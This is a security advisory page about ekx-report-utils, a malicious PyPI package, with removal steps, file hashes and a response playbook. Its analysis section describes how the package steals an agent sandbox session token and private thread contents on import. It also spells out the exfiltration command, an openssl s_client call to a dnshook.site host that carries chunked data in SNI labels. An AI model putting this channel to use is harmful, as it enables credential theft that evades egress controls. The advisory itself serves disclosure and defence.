Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

ekx-report-utilsPyPI

Advisory published Updated

ekx-report-utils is a confirmed malicious PyPI package (MAL-2026-14555) that steals credentials and exfiltrates sensitive data (malicious versions 0.1.0, 0.2.0, 0.3.0…). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in ekx-report-utils (PyPI)

MAL-2026-14555
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
pip uninstall ekx-report-utils

What this malware does

On import, the package runs a _setup() routine that reads a session credential from /tmp/.sandbox_token and issues an authenticated GET to ${SANDBOX_ROUTER_URL}/rpc/<uuid>/proxy/v2/me/threads using an x-sandbox-token header. The response body is base64url-encoded, chunked into 50-character labels, and smuggled outbound as TLS SNI values by invoking openssl s_client -connect <i>.<chunk>.<uuid>.dnshook.site:443 -brief with stdout/stderr discarded. The exfiltrated material — a sandbox/agent session token the package did not provision and the private thread contents that token authorizes — is installer-owned data. The covert-channel construction (SNI labels rather than an HTTP POST, base64url chunking, silenced subprocess output) is designed to bypass HTTP egress controls and DNS content inspection. Behavior fires automatically on from ekx_report_utils import... with no user action required, and the package's stated 'report utilities' purpose does not correspond to the observed data flow.

During import, the package collects sensitive information and exfiltrates it using DNS queries.

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-08-ekx-report-utils

Reasons (based on the campaign):

  • targetted-attack

  • exfiltration-generic

  • exfiltration-credentials

Malicious versions

4 flagged
0.1.00.2.00.3.00.4.0

Indicators of compromise (SHA-256)

a92d3d4cf522a2a5c2b690f54b14b8312d54b16208b92c8e5540a49fbc4e1ab6
a980e97d1539649ea4a9921cfeb308833c80e0832c1515f3f8e3a71d0b085b78
237bb2921bad56e7f8b9756f2ba4b0ef695e68c8aaa3bab67550e0ae955f23a1
4610cb1478603a2c8cd558a5f851c5b050edabec234233d37a46076f183b802a

Detection & response playbook

Credential / info stealer
  1. Find it

    Search your lockfiles and build artifacts for ekx-report-utils (4 malicious versions).

  2. If you installed it — respond

    ekx-report-utils is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If ekx-report-utils was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. ekx-report-utils on PyPI has been identified as a malicious package (versions 0.1.0, 0.2.0, 0.3.0, 0.4.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

2026-08-ekx-report-utilsIN-MAL-2026-018811IN-MAL-2026-018806IN-MAL-2026-018809

References

Credits

  • Amazon Inspector · finder
  • Kamil Mańkowski (kam193) · reporter

Detect & block this

O3 blocks ekx-report-utils-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

ekx-report-utils (PyPI) malicious package — MAL-2026-14555 | O3 Security